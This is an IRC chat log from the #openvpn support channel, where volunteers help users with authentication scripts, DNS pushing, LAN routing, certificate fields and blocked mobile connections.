11:16 < heraclitus> another question, guys. By the time the password reaches the auth-user-pass-verify script, in what format is it? is it plaintext?
11:19 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
11:20 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
11:21 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:25 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
11:25 -!- Zarrsh [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has joined #openvpn
11:35 -!- g00s [~g00s@unaffiliated/g00s] has joined #openvpn
11:36 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has joined #openvpn
11:36 < heraclitus> more importantly, in what format does openvpn hand off username/password attempts to a script?
11:37 <+pekster> heraclitus: See the 'SCRIPTING' reference in the manpage (!scripts) and read about 'String Types and Remapping'
11:38 < heraclitus> thanks
11:38 < heraclitus> !scripts
11:38 <@vpnHelper> "scripts" is "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
11:38 < Moonlightning> So I'm trying to get OpenVPN for Android working over the cell network. It works fine over Wi-Fi, but when I disable Wi-Fi, it can't reconnect
11:38 -!- dimitry7 [~antonello@201.151.40.41] has joined #openvpn
11:38 < Moonlightning> I've tried setting it to a variety of ports, TCP and UDP, and running tcpdump on my server; no packets arrive
11:39 < Moonlightning> /all/ the packets to the server go to the port in the config, right?
11:41 <+pekster> Moonlightning: Yes, as specified by the --rport value (which is implied when you use --port or as the 2nd argument to --remote)
11:41 <+pekster> Are you using --nobind?
11:42 <+pekster> Info in the manpage or here via !nobind
11:43 < Moonlightning> !nobind
11:43 <@vpnHelper> "nobind" is Do not bind to local address and port. The IP stack will allocate a dynamic port for returning packets. Since the value of the dynamic port could not be known in advance by a peer, this option is only suitable for peers which will be initiating connections by using the --remote option.
11:44 < Moonlightning> no nobind in the config
11:45 -!- justaguy [~justaguy@unaffiliated/justaguy] has joined #openvpn
11:45 -!- ragechin [~chin@unaffiliated/coder365] has joined #openvpn
11:46 < justaguy> so, i downloaded http://swupdate.openvpn.org/as/openvpn-as-1.8.5-Debian6.amd_64.deb , did dpkg -i openvpn* but then figured out my ISP blocks portforwarding below port 1024, how can I change the ports?
11:47 < ragechin> justaguy: the default for openvpn is 1194...
11:47 <+pekster> justaguy: That is not OpenVPN; you downoaded "Access Server". You either need to download the acutal OpenVPN product, or obtain support for the commercial product you downloaded from the vendor that sells it
11:47 <+pekster> !as
11:47 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
11:47 <+pekster> If you want the GPL OpenVPN program, see: !download for download links
11:49 < g00s> hi, i'm using tunnelblick 3.3 stable which comes with "on old" openVpn 2.2.1; is this a reason for concern?
11:51 < justaguy> oh i meant the port for openvpn_as, so, the port forwarding block will be no problem, thanks!
11:51 -!- justaguy [~justaguy@unaffiliated/justaguy] has left #openvpn []
11:51 <+pekster> g00s: https://code.google.com/p/tunnelblick/wiki/RlsNotes#Version_3.3 seems to suggest that since 3.3beta54 on 2013/06/08 you should have 2.3.2
11:51 <@vpnHelper> Title: RlsNotes - tunnelblick - Release Notes - Tunnelblick - OpenVPN GUI for Mac OS X - Google Project Hosting (at code.google.com)
11:53 < g00s> pekster weird, in VPN details -> Info, TunnelBlick 3.3.0, OpenVpn 2.2.1
11:53 < g00s> maybe i should use a beta (3.4), with a fresher version
11:53 <+pekster> g00s: Is this some GUI visual window? What happens if you open a terminal and call openvpn from the app folder?
11:53 <+pekster> My guess is this is just a typo in the GUI
11:53 < g00s> oh, lemme try thianks
11:54 <+pekster> IIRC it should be all contained in the Tunnelblick.app directory somewhere, so call `/Applications/whatever.app/blah/openvpn --version`
11:55 < g00s> yeah, i see it has 2 folders in the app bundle; 2.2.1 and 2.3.2
11:55 < g00s> O.o
11:55 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:55 <+pekster> 2.2.1 might be the easyrsa release? Though if you have openvpn binaries in both that would indeed be strange
11:56 < g00s> yeah, binaries in both
11:56 < ragechin> I'm trying to use a couple of my site to site nodes to act as a default route for custom tables. I'm finding that in order for openvpn to know where to route the traffic, I need an irule. the only solution I can think of would be to assign a dummy interface on that particular node, set the default route for that table to the IP of dummy0 and handle the forwarding / masquerading client side.
11:56 < ragechin> has anyone else tried this?
11:57 < ragechin> s/irule/iroute/
11:57 < ragechin> sigh. im being pulled away into a meeting. sorry for bringing up a topic and then bailing
11:57 < g00s> pekster aha, there is something in the GUI settings for selecting a version
11:57 < ragechin> ill be back
11:57 <+pekster> What do you mean "act as a default route for custom tables" ragechin ?
11:57 < g00s> pekster thanks for the help
11:58 <+pekster> Sure g00s. fwiw, many Tunnelblick users run the beta for the latet features, although until recently that was the only way to get a decently up to date version; that's changed, so use what you prefer from a stability/features standpoint
11:58 < ragechin> pekster: routing table 100, default route of 10.88.3.24, where 10.88.3.24 is the openvpn IP of a particular client
11:58 < ragechin> I can explain more in about an hour
11:58 < ragechin> apologies
12:01 -!- stemid [~avatar@ns4.sydit.se] has joined #openvpn
12:01 -!- g00s_ [~g00s@unaffiliated/g00s] has joined #openvpn
12:01 < stemid> is push "dhcp-option DNS IP" supposed to update resolv.conf on the client?
12:02 -!- g00s [~g00s@unaffiliated/g00s] has quit [Ping timeout: 245 seconds]
12:03 < stemid> I would guess so, but when I tried my VPN I still had to set my DNS manually.
12:03 < stemid> push route works fine
12:03 <+pekster> stemid: See !pushdns
12:03 < stemid> !pushdns
12:03 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
12:03 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
12:03 <+pekster> #4 in particular if you're not on Windows
12:04 <+pekster> The manpage info on --dhcp-option is also helpful
12:04 < stemid> as far as I know windows NT does not use resolv.conf
12:04 < stemid> my client is debian wheezy and it did not update resolv.conf
12:04 <+pekster> NT? As in NT 4.0?
12:04 < stemid> no they're all called windows NT
12:05 < stemid> I guess they're up to NT 6 now
12:05 < stemid> but that does not apply to my particular client
12:05 < stemid> though I could try a windows NT 6 client and see if it works there
12:06 <+pekster> So, debian uses resolvconf; did you make accomodations according to the info I linked you to?
12:06 < stemid> I'm going to read it now, but I just wanted to point out that specific tips for windows NT will not help
12:06 <+pekster> 12:03:59 <+pekster> #4 in particular if you're not on Windows
12:07 <+pekster> Pretty sure that debian is "not on Windows"
12:07 < stemid> ahh
12:07 < stemid> I missed the not
12:07 <+pekster> :)
12:08 < stemid> I see the script, so this is placed in an up statement of the client config?
12:08 < stemid> I missed that part
12:09 <+pekster> Yea, see the last paragraph under --dhcp-option in the manpage; clients will get a specially named set of env-vars in the --up script
12:09 <+pekster> It's then the script's job to do something useful with those (possible) env-vars, like update the distro-centric resolver
12:10 < stemid> excellent, thanks =)
12:12 -!- g00s_ [~g00s@unaffiliated/g00s] has left #openvpn []
12:18 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
12:18 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Client Quit]
12:35 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
12:38 < heraclitus> !scripts
12:39 <@vpnHelper> "scripts" is "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
12:41 < heraclitus> if bcrypt.verify(os.environ['password']+salt, hash):
12:41 < heraclitus>   File "/usr/lib64/python2.6/UserDict.py", line 22, in __getitem__
12:41 < heraclitus>     raise KeyError(key)
12:41 < heraclitus> KeyError: 'password'
12:41 < heraclitus> Any idea what could cause the 'password' environmental variable to not be found here?
12:42 <+pekster> Did you read --auth-user-pass-verify ? It won't use env-vars by default and you should use files
12:43 <+pekster> env-vars are less secure since tools like `ps` generally let all users see the environment of a process
12:43 <+pekster> You'll also need to set --script-security if you want to use env-vars like that
12:47 < heraclitus> I set --script-security to 2, and I thought I read --auth-user-pass-verify, do I have to set --no-name-remapping?
12:48 <+pekster> heraclitus: What 'method' did you set to --auth-user-pass-verify?
12:48 < heraclitus> auth-user-pass-verify "/usr/bin/python /etc/openvpn/version.py" via-env
12:48 < heraclitus> script-security 2
12:50 < heraclitus> do I then need to set 'script-type'? or is that done with auth-user-pass-verify?
12:50 <+pekster> That's set for you
12:51 <+pekster> You need --script-security 3
12:51 <+pekster> "3  --  Allow  passwords  to be passed to scripts via environmental variables (potentially unsafe)."
12:52 < heraclitus> worked that time!
12:52 < heraclitus> sweet
12:54 < heraclitus> what precautions can I take to ensure that calling environmental variables does not compromise my security? 'potentially unsafe' seems to me that if I do it correctly, I don't have to worry about it.
12:54 <+pekster> You can not use them
12:54 <+pekster> There's a reason you have to give an explicit security level to allow this
12:55 < heraclitus> what other option do I have if I want to be able to use my own custom auth-user-pass-verify script? seems I'd have to grab those variables from the environment
12:55 <+pekster> Use via-file
12:55 <+pekster> Please go read (throughly read) --auth-user-pass-verify
12:56 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 245 seconds]
12:58 <+pekster> f.ex, on most Unix-alikes, `ps eax` executed by "any user" (yes, even `nobody`) will spit the user/pass to the terminal; this probably isn't want you wanted
13:00 <+pekster> Or, at least _might_ leak info, config depending
13:02 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
13:13 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 265 seconds]
13:17 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:17 -!- dimitry7 [~antonello@201.151.40.41] has quit [Ping timeout: 260 seconds]
13:29 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
13:36 -!- Devastator [~devas@186.214.14.158] has joined #openvpn
13:36 -!- Devastator_ [~devas@unaffiliated/devastator] has quit [Ping timeout: 248 seconds]
13:54 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 248 seconds]
14:02 -!- Devastator [~devas@186.214.14.158] has quit [Changing host]
14:02 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
14:08 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
14:20 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Quit: ZNC - http://znc.in]
14:21 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 252 seconds]
14:32 -!- acu [~acu@107.128.131.129] has joined #openvpn
14:32 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
14:36 -!- tzica [~tzica@unaffiliated/tzica] has joined #openvpn
14:39 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
14:42 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
14:42 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
14:42 < tzica> I have an openVPN client installed on a linux router
14:43 < tzica> from the router I can access destination address fine
14:43 < tzica> from the clients behind the router I cannot
14:43 <+pekster> !goal
14:43 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:43 < tzica> although I have added static route
14:45 < tzica> how to access the lan behind the openvpn server from clients behind openVPN client router ?
14:45 <+pekster> First you verify basic IP connectivity between your VPN server and VPN client. Then follow each of these one at a time: !serverlan and then !clientlan
14:46 <+pekster> The flowcharts are most useful
14:46 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
14:48 < tzica> :) pekster
14:49 < tzica> !serverlan
14:49 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
14:49 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
14:49 < tzica> thanks for conversation and help
14:55 -!- nick4 [~nick4@178.128.2.60.dsl.dyn.forthnet.gr] has joined #openvpn
15:00 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:01 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 245 seconds]
15:02 < acu> OK, since we are on-topic :) and I have two nics - eth0-WAN  , eth1-LAN -in the OpenVPN server - so far I shared a folder in the same machine - and was able to map it from a remote OpenVPN windows client - however, I guess in order to see the LAN behind the server I need to ip forward - do not know exactly how is correct  - echo 1 > /proc/sys/net/ipv4/ip_forward ? - that means that the ip is forwarded both ways - from LAN to VPN and from WAN -vpn - LAN ?
15:03 < acu> also - the OpenVPN server is tether directly to Internet - so no router in between - I wonder if I need to do -> iptables -t nat -I POSTROUTING -o eth0 -j MASQUERADE
15:04 < Aketzu> there is also /proc/sys/net/ipv4/conf/*/forwarding
15:04 -!- MacGyver [~MacGyver@sog.polvanaubel.com] has joined #openvpn
15:04 -!- MacGyver [~MacGyver@sog.polvanaubel.com] has quit [Changing host]
15:04 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
15:05 < acu> Aketzu: got it - I could nano and edit /etc/sysconfig/network and add FORWARD_IPV4=true
15:06 < acu> I wanted to make sure is correct
15:06 < Aketzu> then you need to have routes correct in all machines
15:07 < acu> Aketzu: Oh - so /proc/sys/net.... pushes the route automatically
15:07 < Aketzu> no
15:09 < acu> OK - so we are - at server needs to push a route for its lan to clients
15:11 < acu> that is push "route 192.168.100.0 255.255.255.0" - I suppose
15:11 < acu> 192.168.100.0 being the LAN behind the Server
15:11 < Aketzu> something like that
15:11 < Aketzu> also the machines in the lan need routes
15:13 <+pekster> acu: You must enable IP forwarding any time you want packets to flow "through" your host; compare this to a non-router (just a normal network host) that either initiates or is the final destination of all packets
15:13 < acu> Aketzu -that means the client then should have also the configuration push "route 192.168.100.0 255.255.255.0"
15:14 < Aketzu> "to see the LAN behind the server" -> machines in that LAN need also to know where openvpn clients are
15:14 < acu> pekster: got it - the machine that serves as OpenVPN server with two NICS would have IP route enabled as discussed above
15:14 < Aketzu> packets need to go both ways
15:14 < acu> I see
15:14 < Aketzu> and they don't know where they came
15:15 < acu> pekster: that statement was a tint of a professor - heuristic :)
15:19 < acu> OK - if the machines in the LAN behind the OpenVPN server do not need to go out anywhere - I still need to do something to them - so they can be seen from outside (let's say from a remote OpenVPN client or a computer in a LAN behind client
15:20 <+pekster> Set up returning routing properly
15:20 < acu> I still do not know exactly what ccd is - and how to configure it - it seem is needed - I know it is a factoid about it
15:20 < acu> !ccd
15:20 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
15:20 <+pekster> acu: Save ccd for later; that's part of !clientlan
15:20 < acu> OK
15:21 <+pekster> You're going to want to get just _one_ working at a time; don't mix the 2 becuase you'll be doing "bits of both" without actually verifying either 1 works
15:21 < acu> agree
15:22 < acu> though - so far I am happy even with the machine which serve both as OpenVPN server and Samba server - it can share file which are accessed from both internal LAN and external OpenVPN client - I would say I would be more interested in making the !clientlan - but perhaps I should dig on my own - so I come with pertinent questions
15:23 <+pekster> Sure, doesn't matter which side you set up first
15:23 <+pekster> If you start with !clientlan, don't worry about reaching the server-side LAN PCs; only worry about getting the client-side LAN talking to the server itself
15:24 <+pekster> The flowcharts are very complete, so if you successfully follow each chart 1 at a time, you'll end up with a working site-to-site VPN
15:25 < acu> that is what I will try to do now - though I am installing a OpenVPN server from scratch again - just to make sure I have it solid as it is OpenVPN and samba - then I will work on clients - yes I will look at flow charts - thanks
15:25 < acu> site-to-site VPN sound sexy
15:26 < acu> I want to make it "reproducible" too :)
15:27 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
15:32 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
15:32 -!- dazo is now known as dazo_afk
15:39 -!- johncarmack [~carmack@141.0.170.169] has joined #openvpn
15:43 -!- johncarmack [~carmack@141.0.170.169] has quit [Remote host closed the connection]
15:43 -!- johncarmack [~carmack@141.0.170.169] has joined #openvpn
15:46 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
15:47 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
15:47 -!- johncarmack [~carmack@141.0.170.169] has quit [Client Quit]
15:47 -!- volodya_ [~ka4ok@141.0.170.169] has joined #openvpn
15:49 -!- volodya_ [~ka4ok@141.0.170.169] has quit [Client Quit]
15:49 -!- volnukhin [~ka4ok@141.0.170.169] has joined #openvpn
15:52 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
15:53 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
15:53 -!- michaelhart [~michaelha@192.237.177.15] has quit [Quit: michaelhart]
16:05 < james41382> I am curious about the variables in openvpn most wiki's don't really say much about modifying the values for all the keys.. just a few...
16:05 -!- ragechin [~chin@unaffiliated/coder365] has quit [Ping timeout: 272 seconds]
16:06 < james41382> Is it safe to assume that I should simply use the default values even if they're something like 'changeme'..
16:06 -!- dimitry7 [~antonello@201.151.40.41] has joined #openvpn
16:09 <+pekster> james41382: The CN should be changed (as it must be unique for each client.) The other values can be set as desired. In fact, openvpn doesn't need any field except the CN in the subject -- easyrsa v2 uses openssl's defaults, while our new development v3 code uses only a CN
16:09 < dimitry7> Hi Guys!
16:09 < dimitry7> VPN ports
16:10 < dimitry7> What range of ports is assignable to openvpn?
16:10 -!- dimitry7 [~antonello@201.151.40.41] has quit [Killed (idoru (Spam is off topic on freenode.))]
16:10 < Aketzu> 1-65535
16:10 -!- sepeck [~sepeck@drupal.org/user/5195/view] has joined #openvpn
16:10 -!- sepeck [~sepeck@drupal.org/user/5195/view] has left #openvpn []
16:11 < james41382> It looks like this -> http://paste.debian.net/66498/
16:11 -!- dimitry7 [~antonello@201.151.40.41] has joined #openvpn
16:12 < Aketzu> if you want a certificate that belongs to changeme
16:12 <+pekster> james41382: You'll set the CN interactively when you generate the certs
16:12 <+pekster> The rest literally don't matter
16:12 < james41382> Okay I'll move on to the next step..
16:12 <+pekster> Set them all to "changeme" or "fake" or for all it matters your real city. Do be aware that all the X509 fields are in easly-decoded syntax sent over the wire when you connect
16:13 <+pekster> Also be aware the easyrsa v2 code requires that all your requests have matching values for most of the city/state/org fields
16:13 < james41382> Okay that's good to know.
16:13 <+pekster> The CN obviously varies, but the rest will be rejected if they don't match. v3 improves on that too
16:14 < james41382> I'm using 2.0.
16:14 <+pekster> Right, the latest published release is currently 2.2.2
16:14 < james41382> That's what I have here.
16:14 -!- ragechin [~chin@unaffiliated/coder365] has joined #openvpn
16:15 <+pekster> Yea, so best to keep your fields all matching for requests and just set the CN interactively
16:17 < james41382> I did this once before on my other router.. second time setting it up so hopefully it'll be a little bit smoother.
16:20 -!- gardar [~gardar@gardar.net] has quit [Remote host closed the connection]
16:20 -!- eliasp_ is now known as eliasp
16:27 -!- kirin` [telex@gateway/shell/anapnea.net/x-nczsqnmcqwoovxkv] has quit [Ping timeout: 260 seconds]
16:27 -!- gardar [~gardar@gardar.net] has joined #openvpn
16:28 -!- kirin` [telex@gateway/shell/anapnea.net/x-pflckwkibxsppqvb] has joined #openvpn
16:30 -!- tzica [~tzica@unaffiliated/tzica] has quit [Quit: Nettalk6 - www.ntalk.de]
16:31 -!- Denial [Denial@2.223.161.125] has quit []
16:33 -!- clarkda [~clarkda@141.211.181.191] has quit [Quit: Leaving]
16:39 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 246 seconds]
16:40 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
16:43 -!- dimitry7 [~antonello@201.151.40.41] has quit [Ping timeout: 260 seconds]
16:45 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
16:46 -!- nofks [~nofks@CPE-65-27-120-148.new.res.rr.com] has joined #openvpn
16:51 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:52 -!- nofks [~nofks@CPE-65-27-120-148.new.res.rr.com] has quit [Ping timeout: 240 seconds]
16:53 -!- nofks_ [~nofks@198.144.156.59] has joined #openvpn
16:57 -!- dimitry7 [~antonello@200.76.17.145] has joined #openvpn
17:06 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
17:07 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
17:09 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:12 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit []
17:16 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 246 seconds]
17:23 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
17:24 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
17:25 < james41382> I am having trouble configuring my firewall.. this is the output of iptables-save
17:27 < james41382> http://paste.debian.net/66513/
17:28 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 260 seconds]
17:33 -!- fellipe [~fellipe@189.61.2.52] has joined #openvpn
17:35 < fellipe> hi all. If I use two lines of "remote <ip> 1194", wich one will be always used at the first try ? Or, what's the behavior of this?
17:35 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has joined #openvpn
17:36 < fellipe> I am referring the client config
17:36 < debbie10t> hi - openvpn (for windows) has to have openssl.exe in openvpn\bin - right ?
17:36 < debbie10t> v 23x
17:40 < debbie10t> ...
17:41 <+pekster> fellipe: See --remote in the manpage; a client tries in the order they are defined unless you also specify --remote-random. See also the description of <connection> profiles just below the --remote text in the manpage (!man)
17:42 <+pekster> debbie10t: Only if installed with that option; it's not the default as of 2.3.2, but the installer presents it as a checkbox during installation
17:42 < debbie10t> ahh .. yep - seen it did it forgot it ..
17:42 -!- fellipe [~fellipe@189.61.2.52] has quit [Quit: Konversation terminated!]
17:42 <+pekster> debbie10t: I've described things a bit better in the 3.x eas-rsa code. See this readme for Windows users, section 1.: https://github.com/OpenVPN/easy-rsa/blob/master/distro/windows/doc/README-Windows.txt
17:43 <@vpnHelper> Title: easy-rsa/distro/windows/doc/README-Windows.txt at master · OpenVPN/easy-rsa · GitHub (at github.com)
17:43 -!- duoi [~duoi@46.21.151.107] has joined #openvpn
17:44 < debbie10t> thanks
17:44 <+pekster> Sure
17:49 < debbie10t> so does that mean that openssl is not actually required for openvpn ?
17:50 < debbie10t> i mean - you need openssl for cert generation but in order to run openvpn it does not need openssl
17:51 <+pekster> The userland "openssl.exe" utility is not require for openvpn-only use, no; openvpn installs the "libeay32" dynamic library during installation; openssl.exe is optional and only required if a user wishes to provide userland (verses API) access to openssl's features
17:52 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
17:52 <+pekster> Use with easyrsa would be a big reason to install the OpenSSL utility during OpenVPN installation, or as a convenience to avoid needing an external installation present (as described in my easyrsa docs)
17:56 < debbie10t> righto
17:57 -!- duoi [~duoi@46.21.151.107] has quit [Ping timeout: 252 seconds]
17:57 -!- duoi [~duoi@d110-33-13-246.bla800.nsw.optusnet.com.au] has joined #openvpn
18:02 < james41382> exit
18:03 < james41382> oops sorry
18:07 -!- Champi [Champi@rootshell.fr] has joined #openvpn
18:27 -!- steveb [steveb@about/uk/perfect] has joined #openvpn
18:27 -!- steveb [steveb@about/uk/perfect] has left #openvpn ["A person's a person, no matter how small"]
18:39 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
18:40 -!- james41382 [~james@unaffiliated/james41382] has quit [Remote host closed the connection]
18:42 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has left #openvpn []
18:57 -!- pete-478 [~peter@66.55.150.183] has joined #openvpn
18:59 < pete-478> I'm using OpenVPN to connect 2 desktops across the Internet but the file transfer rates are much slower than capacity. My remote shells are laggy when files are being transferred, which suggests the VPN connection has low bandwidth. Is OpenVPN slow by nature or is there a setting somewhere?
19:00 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving]
19:00 < pete-478> vpnHelper, !help
19:00 < pete-478> vpnHelper: !help
19:00 < pete-478> !help
19:00 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
19:01 < pete-478> !bandwidth
19:01 < ragechin> pete-478: is compression enabled?
19:01 < pete-478> ragechin, yes
19:01 < ragechin> TCP or UDP
19:01 < pete-478> udp
19:01 < pete-478> I use default settings
19:01 < ragechin> hm
19:01 < pete-478> ubuntu 12.04 LTS
19:01 < ragechin> welp, im out of ideas then
19:01 < ragechin> heh
19:01 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
19:04 < pete-478> I've also tried exchanging files with ssh and that speed was also lower than capacity. I haven't had much luck exchanging files between desktops across the Internet and getting full capacity.
19:04 -!- acu [~acu@107.128.131.129] has quit [Read error: Connection reset by peer]
19:23 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Remote host closed the connection]
19:26 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
19:27 -!- duoi [~duoi@d110-33-13-246.bla800.nsw.optusnet.com.au] has quit [Ping timeout: 248 seconds]
19:28 < pete-478> found the answer. It's the ISP upload limits. Thought they were higher but they're not.
19:29 < ragechin> thaaat sucks
19:47 -!- pete-478 [~peter@66.55.150.183] has quit [Quit: Leaving]
19:48 -!- nofks [~nofks@CPE-65-27-120-148.new.res.rr.com] has joined #openvpn
19:50 -!- duoi_ghost [~duoi@46.21.151.107] has joined #openvpn
19:51 -!- nofks_ [~nofks@198.144.156.59] has quit [Ping timeout: 252 seconds]
19:52 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
19:53 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
19:53 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has joined #openvpn
19:54 < Moonlightning> So, for whatever reason, OpenVPN isn't working over the cell network. SSH is, though. Is tunneling it over SSH a good idea?
19:56 -!- duoi_ghost [~duoi@46.21.151.107] has quit [Quit: Leaving]
19:56 -!- duoi_ghost [~duoi@46.21.151.107] has joined #openvpn
19:56 < phreakocious> Moonlightning: you could try swapping TCP/UDP as the openvpn transport.. maybe even changing the port number
19:57 -!- duoi_ghost [~duoi@46.21.151.107] has quit [Client Quit]
19:57 -!- duoi [~duoi@46.21.151.107] has joined #openvpn
19:58 < Moonlightning> phreakocious: I've tried that while running a tcpdump on the server for the relevant port…nothing OpenVPN sends gets through if it's over the cell net
19:58 < phreakocious> I actually have mobile users working with UDP and port 1198.. 1194 gave me problems on some carrier
19:58 < Moonlightning> works fine over Wi-Fi though
19:58 < phreakocious> right.. some of them do some crazy filtering
19:59 < phreakocious> mine are all pretty much on AT&T or Verizon using iphones and android
20:00 < Moonlightning> T-Mobile here
20:00 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Read error: Connection reset by peer]
20:00 < Moonlightning> UDP/1198 doesn't work either
20:00 < Moonlightning> I've tried 443 on both, nothing
20:00 < phreakocious> hehe
20:01 < phreakocious> which client app are you using?
20:01 < Moonlightning> OpenVPN for Android
20:01 < Moonlightning> the thing is, I can use this other app's “UDP Flood” thing just fine for 1194
20:01 < Moonlightning> The packets are “length 5”
20:01 < phreakocious> oh fun
20:02 < Moonlightning> Someone else I talked to said they're doing deep packet inspection
20:03 < phreakocious> yeah, that is a possibility
20:03 < phreakocious> I can't recall which one made me move off 1194
20:03 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
20:03 -!- duoi [~duoi@46.21.151.107] has quit [Changing host]
20:03 -!- duoi [~duoi@unaffiliated/duoi] has joined #openvpn
20:04 < Moonlightning> So…how can I get around it?
20:04 < Moonlightning> Or wait.
20:05 < phreakocious> not sure there will be an easy way to achieve that which isn't messy.. you mentioned tunneling over SSH but that is going to run like crap over a mobile network
20:06 < Moonlightning> Yeah.
20:06 < Moonlightning> another suggestion was disguising the packets somehow…
20:06 < Moonlightning> my question is, why does the other app work, but not OpenVPN?
20:07 < phreakocious> it's a very good quetions
20:07 < phreakocious> question
20:07 < phreakocious> particularly if it works ok when you switch to wifi
20:07 < Moonlightning> Which it does.
20:08 < debbie10t> becos tmobile
20:08 < debbie10t> you have proved it
20:11 <@EugeneKay> Apparently Google now has security bug bounties on openvpn
20:11 < Moonlightning> what?
20:12 <@EugeneKay> http://www.google.com/about/appsecurity/patch-rewards/
20:12 <@vpnHelper> Title: Patch Rewards – Application Security – Google (at www.google.com)
20:12 < phreakocious> that's pretty awesome
20:13 <@EugeneKay> Including existing core developers!
20:13 < phreakocious> I like how they included image processing libraries too... very clever
20:20 < debbie10t> http://www.theregister.co.uk/2013/11/15/google_thinking_machines/
20:20 <@vpnHelper> Title: If this doesn't terrify you... Google's computers OUTWIT their humans • The Register (at www.theregister.co.uk)
20:21 < debbie10t> lol cats and paper shredders ?
20:22 < phreakocious> skynet
20:22 < phreakocious> soon cat memes will become the dominant force of influence on the planet
20:23 < debbie10t> survival
20:23 < phreakocious> i can haz hooman blud?
20:24 < debbie10t> rofl
